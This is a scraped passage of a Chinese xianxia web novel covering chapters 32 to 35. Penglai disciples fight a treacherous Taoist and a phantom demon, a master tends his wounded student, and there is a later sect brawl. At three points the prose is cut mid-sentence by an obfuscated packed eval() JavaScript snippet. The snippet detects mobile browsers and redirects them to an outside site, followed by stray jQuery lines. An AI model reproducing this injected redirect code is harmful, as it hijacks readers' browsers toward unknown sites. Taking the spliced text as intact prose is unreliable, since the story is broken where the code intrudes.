“所以你来我这儿就是为了几只山鸡?”司青衔不紧不慢地翻了页手中的话本,他随口问道:“帝君也没这么闲吧?”
舜之帝君这才想起此次前来的要紧事,他端起茶杯,正色道:“去年我昆仑下山游历的分支弟子从上个月就没了行踪,就连门中法器也探测不出他们的踪迹,三十六重天正忙着修补西荒封印,再加上将离的妖丹被剥离,她可是修炼千年的大妖,你们蓬莱刚派出去一批弟子,还是谨慎留意着他们的行踪吧。”
司青衔又翻了一页,随口道:“你当真是低估了晚苓和成荫,以他们的修为,一般妖物无法伤到他们,而且幻妖只能控制心生贪恋、欲望太重之人,本尊相信晚苓跟望尘他们的心性。”
舜之帝君端茶的手一顿,他喝了一口凉茶,严肃道:“如果那幻妖背后是邪修呢?”
32. 第三十二章
“你们蓬莱弟子脾气倒是一样倔,要是你们肯答应老夫绝不泄露此事,老夫便放你们一条生路。”
坐在高台上的天师起身抖了抖袖子,他居高临下地看着眼前这十位被捆住手脚蓬莱弟子,除了重伤的叶禹和昏迷云晟,其余人都已经恢复了意识。
“…………他在放什么狗屁?”
燕昀不自在地动了动身子,要不是现在被缚仙绳捆得动弹不得,他真想一拳打死这个人面兽心的破天师。
靠在燕昀身侧的阿徵无奈道:“师兄你就别挣扎了,缚仙绳对仙族的束缚是无法挣脱的,而且师兄你这身衣裙很好看,就连你额间的花钿……”
“阿徵!”燕昀瞬间恼羞成怒。
“??”楼珩这才注意到燕昀的衣裳跟面容,这是青楼花魁的衣裳……燕师兄这是连美男计都用上了?!
被他们忽略的天师明显有些挂不住面子,他清了清嗓子,不屑道:“你们死到临头了还在顾左右而言他,真是让老夫刮目相看。”
云晚苓知道这天师别有用心,要不是他利用幻妖把全城百姓都控制了,她早就召唤出玉烛烬跟幻妖拼死一搏了,她冷声道:“你究竟想怎样?”
“果然还是你这女娃子能沉得住气,要不是你心性太傲,老夫真想收你为徒。”
天师越看云晚苓越觉得稀罕,他修行这么久第一次遇见合心意的娃子,如果能把这女娃的记忆抹去,这未尝不是一种法子。
被捆住手脚的云逍恶狠狠地瞪着一脸得意的天师,唾骂道:“真是白日做梦的老道!我师姐乃我蓬莱第一首徒,你个歪门邪道的老不死也敢肖想我师姐,简直是痴心妄想!”
天师不耐烦地看了一眼牙尖嘴毒的云逍,大手一挥,一张符纸贴在云逍身上就让这娃子闭了嘴,他清楚再耽误下去就没时间离开此地了。
“罢了,既然是一群不听劝的娃子,那就别管老夫手下无情!”
天师命人将小垚带上来,他现在已经能完全掌控幻妖,那就用不着留这妖崽子一命了。
他抬手摸了摸小垚的头,温声道:“小垚,你还记得师父以前说过的话吗?”
“记得,师父说过小垚是妖,迟早有一天会死掉。”小垚平静地回答,他顿了顿,问道:“师父,那一天已经到了吗?”
“臭道士!你放开小垚,他不过就是一个孩子,你凭什么要他为你去死!”
云晚苓意识到天师对小垚的杀意,她猛地往前挪了挪,喊道:“你这个狠心毒辣的恶人!口口声声妖就该死,可你做的事情比妖可恨千倍万倍!你已经杀了他娘亲,从小让他吸食怨气贪念,事到如今你为何还是不肯放过他!”
天师仿佛听到了天大的笑话,他仰天大笑道:“我养他这么多年不就是为了幻妖,今日你们都要死在这儿,至于小垚……”
他的另一只手缓缓抚上小垚的脸,复杂的眼神盯着小垚看了片刻,这一眼里的不舍和纠结太多,这复杂的情绪多到云晚苓以为天师心软了,她刚松了一口气,却在下一瞬停住了呼吸。
天师看似不舍的眼神里带着冰冷的杀意,他最后摸了摸小垚的脸,然后猛地一用力,小垚的脖子几乎是瞬间被拧断。
小垚在倒下的时候看到了眼眶通红的云晚苓,他的嘴唇动了动,他其实想说姐姐别哭,他原本就是妖,妖生来就该死……
姐姐,妖不配得到任何人的怜悯和眼泪……
众人都被这一幕惊得说不出话,即便是时常下山历练的江花朝也从未见过如此心狠手辣的捉妖师,哪怕是妖也该有个善恶之分,更何况是年纪这么小的孩子,究竟熟善熟恶?
“你这个畜生!小垚到底做错了什么?!他从小被你利用,娘亲被你残忍杀害,就连唯一能保护他的幻妖你都要夺走……”
云晚苓在这一刻失去了理智,她体内的灵力破开了缚仙绳的束缚,她抄起云晟腰间的长剑就冲了过去,几步并作一步跃上高台,一剑刺入天师的左手,她只恨此刻灵力受限不能一剑挑断天师的手。
天师身后的一群壮汉蜂拥而上,他们手持大刀猛地砍过去,恨不得将云晚苓手脚都砍断再捅上七八个窟窿,只是没想到云晚苓武功了得,轻而易举就能撂倒大半的人。
天师察觉到情况不对,他没料到这女娃子不仅修为高武功也不差,十几个人也拦不住一个女娃子。
他急忙掏出十几张符纸朝云晚苓丢过去,这符纸能控制刚才的臭小子,按理说符纸对这女娃子也有控制作用,但这女娃子丝毫没有受到半点影响,她手中的剑直指天师的脖颈。
“臭道士,今日便是你的死期!”云晚苓的每一招每一式都快如飞鹤,剑刃所指之处皆被划出一道血痕,直到幻妖再次控制了云晚苓的神智。
“师姐!!!”楼珩拼尽全力也没能挣脱红绳,反而被束缚得更紧,幸好望尘及时用仅剩的灵力催动了碧海潮生琴,虽然只有短短一瞬的琴音,但还是顺利解开了困住楼珩的红绳。
天师挥袖布下阵法困住了众人,这阵法是他精心研究多年,此阵能吸取阵法之内修仙者的修为和灵力,而且强行冲破会遭到妖力反噬,轻则昏迷数日,重则五脏六腑皆被震碎。
“你这娃子别再挣扎了!”
天师缓缓退出以血画成的阵法,他平静地看着被困在阵法里这些半大的孩子,不免有些感慨,“真是可惜了,原本你们都不用死的,要不是你们非要多管闲事,老夫也不想杀这么多修仙者,但是你们太不知好歹,不过老夫也不会让你们独自上路,这一城的百姓也会死,这都是因为你们!”
江花朝只恨现在被缚仙绳捆得动弹不得,否则她定要一枪挑了这老道,她怒斥道:“你不仅杀了这么多妖,还要残害无辜百姓!”
天师冷笑一声,“大道无情,这条路上总要有人牺牲,老夫会将你们都好生安葬,到了黄泉路上也有同门手足作伴,倒是便宜你们了。”
眼见这阵法越来越强,楼珩感受到体内的灵力受限,可是这阵法吸取的灵力都去哪儿了?
云晚苓被幻妖死死缠住,她明显察觉到幻妖的妖力越来越强大,她被幻妖的妖力击倒,她强压着喉间的血腥味开口,“我们的灵力都被幻妖吸走了,她的妖力太强,必须破阵……”
话还未说完,云晚苓就被幻妖反手打晕了,幻妖身上的罗裙颜色变得越来越重,那双泛着金光的眼睛死死盯着剩下几人,她的下一个目标是……桑宁。
“阿宁!”望尘眼睁睁看着桑宁被幻妖的金瞳控制了心神,桑宁的双眸被染上猩红,她痛苦地想要推开幻妖桎梏自己的手,但幻妖似乎很喜欢桑宁的灵力,她死死摁住桑宁的肩膀,想要吸取更多一点属于桑宁的灵力。
楼珩毫不犹豫地提起辞暮,他深知自己的修为远远无法与幻妖相抗,但他还是干脆利落地刺了过去,哪怕幻妖不会因此受半点伤,但至少能转移幻妖的注意力。
被强行打断的幻妖起身恶狠狠地瞪着楼珩,朱唇上的血迹被舔干净,她微微歪了下头,“你,该死。”
楼珩手中的长剑被一股妖力强行夺走,辞暮直接插在了城墙的石壁中,幻妖用瞬移术到了楼珩面前,她勾了勾唇角,道:“小仙君,你,还有遗言吗?”
楼珩试图召唤辞暮却没有成功,如果没有太阴玄铁是万万无法破阵的,除非强行运转灵力……可是他的修为尚浅,根本没办法破阵。
天师看着楼珩面露难色就知道这娃子无计可施了,他刚想开口就被一道强光刺得后退几步,天师还没反应过来就听见幻妖一声惨叫。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799334|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>整个阵法都被白光笼罩,天师隐隐约约看见白光里站着一位身姿修长、衣决飘飘的少年,天师惊得瞳孔一缩,这还是刚才那个灵力受限的楼珩吗?
天师不可思议道:“这怎么可能?你这娃子才多大……怎么可能冲破阵法……”
楼珩确实无法在这阵法中动用灵力,但他用了能在短时间内冲破灵力限制的术法,这术法其实不难,只是要施法者以自身精血为引,就能强行冲破限制,但代价就是等精血燃尽的那一刻就会彻底丢掉性命。
“阿珩停手!妖力反噬会让你没命的!”江花朝急切地喊道:“阿珩!别强行运转灵力!”
望尘吼道:“楼珩你不要命了?!”
此术法太过极端,大多数修仙者即便知道这术法也不敢轻易使用,这代价太大……没人愿意赌上自己的性命。
可天师低估了蓬莱弟子的心气秉性,不是每一个修仙者都会权衡利弊,有的人生来就是倔强性子,撞了南墙也不回头,就算是搭上性命也要破阵。
楼珩指尖殷红的血珠缓缓滑落,滴在地上的每一滴血都燃起一丝白光,楼珩挡在众人面前与幻妖相抗,他翻手结印凝聚了一股至纯的灵力。
在这股灵力的涌动中,原本插在石壁中的辞暮再次回到楼珩身侧,不,不止是辞暮,除了碧海潮生琴,其余人的二品灵器都被这股灵力召唤,它们悬在半空形成一道屏障,短暂的挡住了幻妖的攻击。
楼珩平静道:“哪怕是神魂俱灭也绝不能让你活着走出这里,否则就妄为修仙之人,更不配做蓬莱弟子。”
“你疯了!”
天师惊慌失措地连连后退,他眼睁睁看着那股灵力越来越强,在这一刻他突然有些后悔,早知道就不惹这群半大的娃子了,疯起来真是不要命了。
这股灵力逼得幻妖痛苦不堪,幻妖在一声声嘶叫中彻底失控,双眸猩红的幻妖彻底释放体内的残术,这次的红烟比以往的更浓,几乎是瞬间就能让人迷失心智,而且这红烟还能妖化仙族,这才是幻妖真正的实力。
除了楼珩其余人都再次被控制神智,地上的血迹早已凝固,楼珩自知已经撑不了多久,但他从始至终都没有退半步。
正当楼珩力竭时,突然出现的一道青光笼罩了整个结界,青光出现的瞬间正在吸取众人修为的阵法不攻自破,最先清醒的人是云晚苓,她翻掌将身旁几人身上的幻妖残术打散,然后用玉烛烬将此地残留的妖息全部净化。
“…………”
云逍跟望尘被青光刺得下意识用宽袖挡在眼前,直到双眸猩红的幻妖发出一声惨烈的哀嚎,这道青光才逐渐消散,至此他们方看清来者是何人。
“是师尊!”靠在云逍怀里的桑宁勉强睁开眼,她看清那人的面容后只觉得安心,师尊来了,大家就有救了。
云逍用袖子擦干净桑宁嘴角的血迹,幸而他方才用护心咒护住了桑宁的心脉,不然桑宁的经脉就要被强大妖力侵蚀,这幻妖竟如此厉害,不仅能控人神智,还能妖化仙族,只是没想到师尊竟会亲自来救他们。
站在楼珩身后的司青衔左手稳稳托住小徒弟摇摇欲坠的身体,右手凝指施下瞬移阵法,他大略扫了一眼这些人的伤势,嘱咐道:“花朝,你先带他们回蓬莱,这里便交给本尊处理。”
“是,弟子遵命。”
江花朝直接把昏迷的叶禹扛在肩上,跟大家一同站在阵法中,瞬移阵法随着白光亮起,瞬移阵法中的所有人都随着白光而消失了。
司青衔抬手将一缕灵力输入楼珩体内,楼珩早已承受不住灵力的反噬,他感觉到有人一把揽住了自己,这熟悉的白玉兰香……是师尊吗?
在身体承受撕裂般疼痛的时候,楼珩心里只有一个念头,他是不是给师尊丢脸了……
33. 第三十三章
楼珩再次醒来已经是两日后,他刚睁开眼就看到屋内陌生的布置,这是哪儿?
他刚想撑起身就因为浑身乏力再次跌回床上,他默默揉了揉酸痛的手腕,喃喃道:“怎么一点力气都使不了?”
“醒了?”
司青衔端着一碗热粥推开房门,他将热粥放在软榻边的矮桌上,修长的手搭在楼珩腕上停留片刻,现下楼珩体内的动荡的灵力已经逐渐平稳,他松了口气,问道:“还有没有哪里不舒服?”
“师尊?”楼珩还以为昏迷前被人抱起来的感觉是在做梦,原来是真的啊,他有些不可置信地揉了揉眼睛,似乎是还没反应过来,毕竟他的记忆还停留在余都城内拼死一战中。
“这儿不是蓬莱,也不是你在做梦,这是余都附近的猎户空置的屋子,为师给了那猎户一些银子,所以我们在这儿暂住几日。”
司青衔端起热粥吹了吹,无奈道:“要不是为师及时赶到,恐怕你这小命就搭进去了,这次怎么这般不留余地,临行的时候为师怎么说的?”
楼珩心虚地移开视线,解释道:“师尊,当时情况危急,我不得不这么做……”
司青衔慢条斯理地搅着刚煮好的红豆粥,他舀了一勺递到楼珩嘴边,道:“先把粥喝了,现在你体内灵力不稳,暂时不能回仙界,不然很容易遭到反噬。”
楼珩尝了一口红豆粥,皱眉道:“这么甜?”
“不喜欢?”司青衔明知故问道,他又舀了一勺递过去,看着楼珩紧皱眉头的样子,司青衔勾了勾唇角,“既然不想喝这么甜的粥,下次就不要再以身涉险,不然还要整日喝药……”
“师尊,真的太甜了。”
楼珩实在是受不了嘴里这股甜腻的味道,他默默躲开那勺甜粥,恳求道:“要不师尊你还是炖汤吧。”好歹汤是咸口的,不至于这么难以下咽。
司青衔依旧不为所动,他坚持要将这碗甜粥喂完,“张嘴。”
楼珩不情不愿地喝完了这碗甜得发齁的红豆粥,幸好司青衔实在看不下去这小兔崽子那副要哭不哭的样子,他从桌上端过来一碟子冒着热气的毕罗酥,递到楼珩面前,道:“知道疼就要长记性,不要每次都如此莽撞,为师下次可就不允许你下山历练了。”
楼珩没说话而是拿起一块毕罗酥咬了一口,等喉间这股甜腻压下去他才开口,“师尊,弟子知道错了,下次绝对不会这么冲动行事了。”
司青衔挑眉道:“还有下次?”
楼珩立马改口,讪讪一笑,“没有下次了,师尊放心,以精血为引的术法我再也不会用了。”
“如此最好,否则以后就别想下山历练了。”司青衔顺手递过去一杯凉茶,他侧首看着楼珩一连喝了三盏茶,这小崽子吃不得甜的毛病半分都没长进,他无奈地笑了笑,道:“今后不要再如此莽撞了,阿珩。”
“师尊,弟子真的知错了。”
楼珩把茶盏轻轻搁在桌上,这事闹得太丢脸了,他原本以为这术法顶多就是消耗点灵力,万万没想到后果会这么严重,还惹得师尊生气了。
楼珩突然想起幻妖和那个可恶的天师,追问道:“师尊是如何处置幻妖和那老道的?”
“此事处理得很简单……”左不过就是动了怒的司青衔直接挑断了那天师的手筋脚筋,又将幻妖的妖形险些打散,原本他想彻底料理了这幻妖,但妖族的国师亲自出面求司渊仙尊留幻妖一命。
司青衔理了理袖子上的褶纹,提起那人面兽心的捉妖师,他就气不打一处来,如今妖族和仙族的关系本就水火难容,现下幻妖的出现和遭遇更是让妖族对仙族充满了仇怨,若想化解这份仇怨,仙族必须退让一步。
司青衔道:“所以,天师和幻妖以及仙门捉到的恶妖都交给了妖族,蓬莱以及其余各大门派都暂时不会派弟子下山历练,等试炼大会之后再定夺如何处置逃到人间的妖族。”
司青衔并没有告诉阿珩昨日替他疗伤的时候发现他的仙根受了损,如此程度的损伤轻则体内灵力不稳,重则无法顺利渡劫成仙,一旦影响日后飞升,那楼珩就无法修成仙身,所以他消耗三百年修为将楼珩受损的仙根修补好了。
“…………”
楼珩默默挪开视线,具体细节还是不要追问了,毕竟他不是没见过师尊的手段有多……血腥。
话本子上都说神仙是心怀天下、心慈手软、古道热肠、比起手段狠辣的妖族仁慈了千百倍,所以世人供奉神仙于高台庙堂,将妖魔踩在脚下,视为世间最污秽不堪的腌臜之物。
以前的楼珩也觉得话本子上写得没错,可自从去年他亲眼见到师尊是如何处置失控的凶兽,那干脆利落的剑法和一击致命的果断……
楼珩缩了缩脖子,师尊动怒……嘶……想想都觉得瘆得慌,他默默拿起桌上的毕罗酥咬了一口,还是毕罗酥好吃。
这个小动作被司青衔敏锐捕捉到,他自然也联想到上次斩杀凶兽溅了一身的血,想必此事让楼珩吓得不轻,他抬手揉了揉楼珩的头,道:“等你休整好了我们就回蓬莱,这段时间老实点,不许动用灵力。”
楼珩一本正经道:“师尊,这是你重复第三遍了,我真的记住了。”
“也不知道是谁教你的不顾后果。”司青衔忍不住絮叨了两句,楼珩面上有些挂不住,他以前怎么没发现师尊这么记仇……
“过来。”
司青衔从袖兜里掏出一根红绳,红绳另一端系着长命锁,他将长命锁重新系在楼珩脖间,道:“连这个都能弄丢,要不是为师恰巧看见它掉在地上就再也找不回来了。”
楼珩闻言一怔,他都不知道长命锁的绳子是什么时候断的,这是阿娘留给他的唯一东西了,如果真的弄丢了,他肯定会很难过很难过。
“多谢师尊。”楼珩轻轻摩挲着长命锁的边缘,这次好像确实太莽撞了,他突然想起自己脖子上被红绳勒出血痕,连忙去抓司青衔的袖子,急切问道:“师尊,我的脖子留疤了吗?”
“小仙君如此舍生忘死,连死都不怕,还怕留疤啊?”
司青衔抬手变出一面镜子递过去,他盯着楼珩脖间的血痕叹了口气,“要是真的留疤了怎么办?”
楼珩仔
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799335|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
细端详了一番,道:“好像也没那么严重……”
“不严重?”司青衔唇角一勾,他直接将沾了药膏的指腹摁在那道血痕末端,下一瞬就听见楼珩痛得倒吸一口冷气,他不轻不重地揉了揉,冷笑道:“不是说不严重吗?”
楼珩疼得头皮发麻,痛呼道:“师尊,轻……轻点。”
“疼就长点记性。”司青衔虽然嘴上不饶人,但还是放松了手上的动作,他仔细将药膏涂匀后用白布缠在楼珩的脖子上,他叹道:“缠上白布总比露着那道深可见肉的伤痕要好些,看上去没那么瘆人。”
楼珩看着镜中自己脖子上的白布,道:“师尊,您包扎得太夸张了吧?”
“免得你洗澡的时候沾到水。”
司青衔不轻不重地捏了捏楼珩的后脖颈,这动作像是拎着一只猫崽子,楼珩不满地皱了皱眉,小时候被师尊这么捏也就罢了,现在他都十四岁了,师尊怎么还用对小孩子这一套。
蓬莱山———
“掌门,此次幻妖一事已经处理妥当,这是妖君送来的谢礼,妖君还亲自下令,妖族不得在人间作恶。”
颜长老踏上蓬莱大殿前长阶,他推开殿门后将妖君的话原原本本重复了一遍,他身后的四名弟子抬着一个沉甸甸的箱子搬进大殿,箱子里装满了奇珍异宝和灵丹。
柳不覆自然明白妖君的话不过是搪塞仙族,毕竟妖君刚继位不足三年,而且新任妖君才十三岁,不足以让妖族服众,这才是动荡的根本原因。
他端起桌上的茶盏,抿了一口,淡淡道:“近些年妖族内部也是躁动不安,整个仙族在千年前的神魔大战中损伤太重,咱们蓬莱山除了晚苓、成荫、桑宁、花朝和望尘这几个资质不错的,还有常年云游在外的那几个臭小子,其他的都不堪重任,尤其是青衔的弟子,太过平庸。”
颜长老将殿内其余人都屏退,他拱了拱手道:“掌门多虑了,司渊仙尊慧眼识人,他选的弟子定不会错,哪怕真是挑了个资质平庸的,依老朽看来并非坏事。”
柳不覆端茶的手一顿,他不悦地看向一脸坦然的颜长老,道:“长老这是何意?青衔已然修出神识,他的弟子将来是要继承他的衣钵,资质平庸之辈如何担得起镜花台?”
颜长老欲言又止,他思虑再三还是将心里话说出来,“掌门可曾想过蓬莱山的日后该交给谁?”
柳不覆道:“长老有话便直言吧。”
颜长老一咬牙,“掌门是否应该对司渊仙尊过于信任,倘若仙门都认为司渊仙尊的法力和能力都胜于您,恐怕日后掌门之位就要落在旁人……”
“青衔不是旁人,此事不必再提,青衔也不会惦记掌门之位。”
柳不覆直接打断了颜长老的话,他不是不知道整个仙界对神族的敬畏,司青衔是资质最高的上仙,在众门派眼里司青衔一定会飞升登临神境。
他顿了顿,继续说道:“更何况蓬莱山千年基业交于旁人,我始终不放心,除了青衔就是云诸,可是云诸的散漫性子怎么让我放心得了,青衔是最好的人选,他的徒弟必须是仙界翘楚。”
34. 第三十四章
“师尊,我们什么时候回蓬莱啊?”
楼珩在凡间养伤足足养了大半个月,他总觉得师尊跟以前有些不同,以往在镜花台师尊每日都要督促自己练剑、打坐冥想这些基本功,但凡楼珩想偷懒就会被师尊训斥,然后被赶去书房抄书。
可近半个月的师尊一日三餐都会做很多好吃的,闭口不提修炼和回蓬莱的的事,只是楼珩还没来得及高兴就忍不住发愁了。
因为司青衔最近每天都会熬很苦的药,他没说为什么要喝,但每次吃完饭都会亲自把药端到楼珩面前,那药苦得要命,每次喝下去楼珩都苦得直哆嗦。
“师尊,今天的药怎么这么多……”楼珩盯着那个比脸还大的碗,苦着一张脸直叹气,他磨蹭了半个时辰才勉强喝了两口,叹道:“师尊,咱们什么时候回蓬莱啊。”
司青衔慢悠悠地往后翻了一页,今日的话本甚是有趣,他抬眼盯着楼珩将那碗药全部喝下才淡淡开口,“明日就回去了,不过你也别高兴太早,后日就是本月考核。”
“考核?!”
楼珩眼皮一跳,他都忘了自从甲班乙班葵班的弟子比其他班弟子学业成绩高出不少,所以掌门特意在门中加了一条规矩‘每月各班考核,每班的最高分和最低分各有奖惩’,云逍当时就提了那么一嘴,楼珩早就把这事抛诸脑后了。
司青衔翻书的手一顿,他突然想起本月该考御兽,楼珩上一回的表现太过急躁,他不得不再叮嘱几句,“这次考核是御兽,为师要叮嘱你一点,不要再像上次一样用暴力压制,御兽之道重在御心而非御身,上次是为师恰巧路过才压制失控的凶兽,下一次可就没有这么好的运气了。”
“师尊,御兽课我真的不行。”
楼珩一想到御兽就觉得头疼,他深深地叹了一口气,道:“师尊,别说御兽场那些灵兽,就连山药、绿豆都不喜欢我,好像我根本不招那些灵兽的喜欢,所以不管是喂仙草还是试图接近都没用,它们就是不喜欢我。”
司青衔道:“山药哪有不喜欢你,它这次下山可是很尽心保护你。”
“…………”
这下轮到楼珩说不出话了,这次下山历练山药确实对他们这群半大的小屁孩尽心尽责,最后还是山药冲出铁笼带领司青衔找到了余都的位置。
不知何时一阵风吹开了窗子,屋里吹进一股燥热的风,楼珩立马窜过去关窗户,他脑子里都是山药抓野鸡野兔的画面,压根没留意窗边多出来一截木头,不明所以的楼珩脑袋直接撞了上去,撞得眼冒金星疼出了眼泪。
“…………”司青衔由衷怀疑自己的小徒弟到底是聪明还是愚钝,总是能捅出一些莫名其妙的篓子,他无奈地掐了掐眉心,走过去顺手把人从地上拎起来,道:“又这么不当心?”
楼珩捂住被撞得生疼的后脑勺,龇牙咧嘴道:“师尊,这次考核我肯定要垫底了。”
司青衔对楼珩的成绩早就司空见惯,低声道:“楼珩,你垫底的次数还少?”
“…………”楼珩脸上的表情瞬间僵住,好像师尊说的也对,他尴尬地干笑两声,师尊这张嘴真是……,嗯,跟云逍的毒舌不相上下。
一回到蓬莱的楼珩就马不停蹄地补功课,他比云晟他们晚回来这半个月欠下了一堆功课和要抄写的召天地灵气的口诀,他一边奋笔疾书一边咒骂这口诀太长。
“就不能把这些口诀改短一点吗?!”楼珩足足抄了一个时辰,抄得手酸腰疼却还剩下一半没抄,他真的要崩溃了。
一旁的云晟趴在矮桌上直叹气,“这么长的口诀念完早就被敌人捅出七八个窟窿了,还指望着借天地之力,除了上仙还有谁能用借天地之气的能力,咱们抄这些口诀就是多此一举。”
云逍道:“何止是多此一举,想出这个主意的人真是没脑子……也没长眼,除了大师姐大师兄和花师姐,在座的各位谁能用得上,真是脱裤子放……”
‘屁’字还没说出口,云逍的嘴就被云晟紧紧捂住,云逍的话太过惊世骇俗,整个惊蛰班和甲班乙班的弟子都把目光投了过来,有一部分人脸上明显带着不悦,极少人是认同云逍的话。
“云墨尊者的弟子怎么如此没规矩?”
“呵,这大逆不道的话算什么,你看看咱们掌门、司渊尊者、云墨尊者这三位的门下弟子有几个能拿得出手?”
“也是,除了大师姐和大师兄,哦,还有望尘师兄,其他人也配做尊者的徒弟?不对,应该是没爹没娘的杂种。”说这话的不是旁人,正是裴同玉,他好不容易才解了禁闭,自然对楼珩是满心怨恨。
“第一次下山历练就遭到反噬,呵,幻妖反噬怎么没要了那杂种的命?”
这一番明嘲暗讽明显不是冲着云逍和云晟,而是这次御兽考核垫底的楼珩,月底考核确实跟楼珩所说的一样,御兽这门课不仅没及格,还因为灵兽反抗楼珩的接触而撞断了御兽场东边的天柱。
楼珩握笔的手停在宣纸上,他顿了许久才移开视线,嘴角扯出一个极难看的笑,道:“云晟,你还剩多少抄完?”
“…………”云晟脸上的笑容全然消失,楼珩自然看得出云晟这表情是恼了,他刚想去拽云晟的胳膊却抓了个空,云晟咬着后槽牙吐出一个脏字,“操!”
还没等众人反应过来,云晟的拳头就已经落在了裴同玉的脸上,这一拳打得扎实又重,裴同玉来不及躲闪只能硬生生挨下这一拳。
恼羞成怒的裴同玉一脚踹在云晟小腿上,他狠狠骂道:“你脑子被驴踢了?!小爷又没骂你,你动什么手!!!”
周围的人哄上来要拉开云晟和裴同玉,可是这云晟像是一身牛劲根本拉不开,毫无防备之心的裴同玉被云晟摁着揍,云晟几拳下去就打得裴同玉鼻青脸肿。
云晟一手死死摁住裴同玉的肩膀,另一只胳膊肘狠狠朝裴同玉颈窝砸下去,一连几下重击砸得裴同玉生疼,裴同玉哀嚎道:“云晟!我何时跟你有过过节,你至于下死手吗?!”
站在一旁的楼珩刚冲上去拽住云晟的手就被一道蓝光狠狠压制,周围人瞬间安静下来,他们连忙鞠躬行礼,众人恭敬道:“柳师兄。”
“楼珩,又是你。”
今日的柳成荫身
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799336|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着一件浅白长袍,衣摆处是挼蓝色的昙花和鎏银云纹,云肩上坠着的流苏末端是南海珍珠,高高束起的高马尾插着一根坠着流苏的银纹花簪,额间的银色仙印一眼就能看见。
这衣裳衬得人面色疏离,整张脸上只有漠然的表情,一双黑眸盯着楼珩,不带丝毫情绪,嗓音冷淡道:“上一次也是你跟裴同玉打架,纵然裴同玉出言不逊,身为蓬莱弟子也不该如此冲动。”
弟子甲低声道:“大师兄刚从三十六重天回来,这脸色一看就是心情不爽,楼珩跟云晟这下完了。”
弟子乙不忿道:“胡说!大师兄哪天有过好脸色,云晟这回是撞刀尖上了。”
弟子丙好奇道:“你们说大师兄会如何处置他们?杖责还是鞭笞。”
柳成荫身后跟着的仙侍迅速将三人带了出去,他环视一圈周围人的神情,有事不关己有嘲讽有无辜,唯独没有敬畏,这群新生弟子既不怕蓬莱规矩,也不怕他这个大师兄。
柳成荫像是想到了什么可笑的事情,他冷笑一声,掀起眼皮一字一句道:“今日在场弟子抄《清静经》三百遍,既然心有不宁不静不清,那便抄书静心,日后再犯就不止三百遍这么简单了。”
众人一片寂静,平日里最闹腾的几名弟子此刻连个屁都不敢放,他们虽然刚来蓬莱没几年,却也知道一条不成文的规矩,那就是绝不能招惹柳成荫,包括但不限于惹他生气动怒、引起他的注意、以及给他送情诗示好。
刚从葵班回来的桑宁恰巧看见被仙侍扣押的云晟和楼珩,她急匆匆跑上前,桑宁跑得太急所以怀里的画卷掉了一地,她顾不上那些画卷,直接揪住了柳成荫的云肩流苏,道:“师兄,阿珩阿晟他们犯了何事?”
柳成荫脚步一顿,道:“桑宁。”
桑宁不依不饶地揪紧那根流苏,求情道:“师兄,阿珩下山游历遭了反噬刚养好,云晟也是一时冲动,裴师兄他虽然一向说话难听,但……”
“桑宁。”
柳成荫蹙眉出声,他垂眸看向那枚被桑宁攥在手里的流苏,他难得有如此好的脾气和耐心,一只骨骼分明的手轻轻拂去桑宁的手,道:“他们三个当众打架斗殴是犯了门规,如此不成体统、不及后果、不知深浅又没规矩的家伙难道不该罚吗?”
“………”桑宁一时语塞,她清楚柳成荫的脾气,再纠缠下去只怕要把人惹恼了。
柳成荫最见不得女孩子掉眼泪,虽然桑宁没哭,但她现下这幅样子跟被抢了鱼干的小猫没有两样,他俯身将地上掉落的画卷都捡起来递给桑宁,道:“按照门规打架斗殴、寻事滋事该杖责二十,抄书百遍,我不会重罚但也不会轻饶。”
桑宁闻言松了一口气,师兄能不追究上次楼珩跟裴同玉打架就已经够宽容了,她也不能再多说什么,毕竟柳成荫的性子最是冷淡孤傲,心中除了蓬莱门规和师父的谆谆教导,再也装不下其他东西。
临走前桑宁跟柳成荫交代了几句,“师兄,今日师父不在蓬莱,那我先回悬天阁了。”
她顿了顿,继续说道:“师兄早点回来,我炖了很好喝的汤。”
35. 第三十五章
柳成荫确实没有撒谎,他并未重惩楼珩、云晟和裴同玉,而是让戒律阁的刑官按照门规处置了这三个打架斗殴的家伙,原本柳成荫依照旧例是要在旁边观罚,但不知怎的他突然想起了桑宁的话。
柳成荫拾阶而下,冷眼看着老老实实跪在蒲团上的三人,其中两个脸上挂了彩,最不服气的就是裴同玉,他好不容易养好了上次被楼珩殴打的伤,这次又跟云晟大打出手,他在心底直骂娘,今日真是倒了血霉!
云晟倒是没多大反应,他满不在乎地抬手擦干嘴角的血迹,而楼珩则是安静地跪在云晟旁边,他满脑子都是怎么跟师尊坦白这次的意外。
